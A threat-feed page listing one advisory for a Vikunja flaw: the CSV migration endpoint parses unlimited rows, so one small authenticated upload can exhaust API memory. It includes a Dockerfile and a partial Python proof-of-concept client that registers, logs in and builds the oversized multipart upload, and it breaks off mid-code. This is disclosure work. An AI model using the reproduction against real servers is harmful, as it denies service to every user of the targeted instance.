Threats Tagged 'ghsa-pqf9-h8g4-8gmh'
1 threat
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 6.5 | EPSS 0.3% | CVE-2026-91969vikunja · Uncontrolled Resource Consumption High6.5EPSS 0.3%CVE Database V5CVE-2026-91969 # Unbounded CSV row cardinality permits API process termination ## Summary The authenticated v2 CSV migration route caps upload bytes but not parsed row cardinality. It reads every record into a [][]string and then materializes a full task object for every row before insertion. Two million one-cell rows fit in a roughly 4 MB multipart request yet exhaust a 512 MiB API process. ## Impact and affected scope - **Type:** Resource Exhaustion Csv Import - **Affected component:** POST /api/v2/migration/csv/migrate - **Preconditions:** An ordinary authenticated user supplies a multipart CSV containing a very large number of tiny records plus a valid mapping configuration. - **Verified revision:** `349cd5adbcc831ef08b08e6c9c6d627603c39606` on 28 August 2026 - **Affected release range:** `= 2.5.0`; broader historical range not established and maintainer confirmation requested A low-privileged remote user can terminate the API process and deny service to all users with a request far below the configured upload-byte limit. ## Technical details csv.Reader.ReadAll retains every row, after which convertToVikunja allocates a task structure for each row; the existing upload-byte cap does not constrain this cardinality amplification. Attack path: Authenticate, upload two million one-cell records to the synchronous CSV migrate route with a valid ignore mapping, and exhaust process memory while parsing and materializing rows. Relevant code: - `pkg/routes/api/v2/migration_csv.go:96` - `pkg/routes/api/v2/migration_csv.go:164` - `pkg/modules/migration/csv/csv.go:281` - `pkg/modules/migration/csv/csv.go:298` - `pkg/modules/migration/csv/csv.go:590` - `pkg/modules/migration/csv/csv.go:605` - `pkg/modules/migration/csv/csv.go:627` - `pkg/modules/migration/csv/csv.go:643` - `pkg/modules/migration/csv/csv.go:655` ## Reproduction Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control. Create `reproduction/Dockerfile`: ```text FROM golang:1.27.0-alpine RUN apk add --no-cache bash build-base ca-certificates python3 tzdata WORKDIR /app COPY . /app RUN chmod +x /app/*.sh 2>/dev/null || true # Target source is supplied only at runtime through /target-repo:ro. # This image contains build dependencies and reproduction helpers, not a clone. ``` Create `reproduction/client.py`: ```python #!/usr/bin/env python3 import json import sys import time import urllib.error import urllib.request import uuid BASE = "http://target:3456" def json_request(method, path, body=None, token=None, expected=None): raw = None if body is None else json.dumps(body).encode() headers = {"Accept": "application/json"} if body is not None: headers["Content-Type"] = "application/json" if token: headers["Authorization"] = "Bearer " + token req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method) try: with urllib.request.urlopen(req, timeout=30) as response: status, data = response.status, response.read() except urllib.error.HTTPError as exc: status, data = exc.code, exc.read() print(f"{method} {path} -> {status} {data[:250].decode(errors='replace')}", flush=True) if expected is not None and status != expected: raise RuntimeError(f"{method} {path}: got {status}, expected {expected}") return status, json.loads(data.decode()) if data else {} def wait_ready(): for _ in range(240): try: if json_request("GET", "/api/v1/info")[0] == 200: return except Exception: pass time.sleep(0.25) raise RuntimeError("target did not become ready") def register_and_login(username): password = "PoC-password-123!" json_request("POST", "/api/v2/register", { "username": username, "email": username + "@example.invalid", "password": password, }, expected=201) _, login = json_request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200) return login["token"] def migrate(token, csv_data, config, expect_response): boundary = "----PoC-" + uuid.uuid4().hex body = ( f"--{boundary}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n{config}\r\n".encode() + f"--{boundary}\r\nContent-Disposition: form-data; name=\"import\"; filename=\"fixture.csv\"\r\nContent-Type: text/csv\r\n\r\n".encode() + csv_data + f"\r\n--{boundary}--\r\n".encode() ) print(f"PoC_CSV_REQUEST rows={csv_data.count(bytes([10]))} request_bytes={len(body)}", flush=True) req = urllib.request.Request( BASE + "/api/v2/migration/csv/migrate", data=body, headers={"Authorization": "Bearer " + token, "Content-Type": "multipart/form-data; boundary= | CVE Database V5 |
Showing 1–1 of 1 result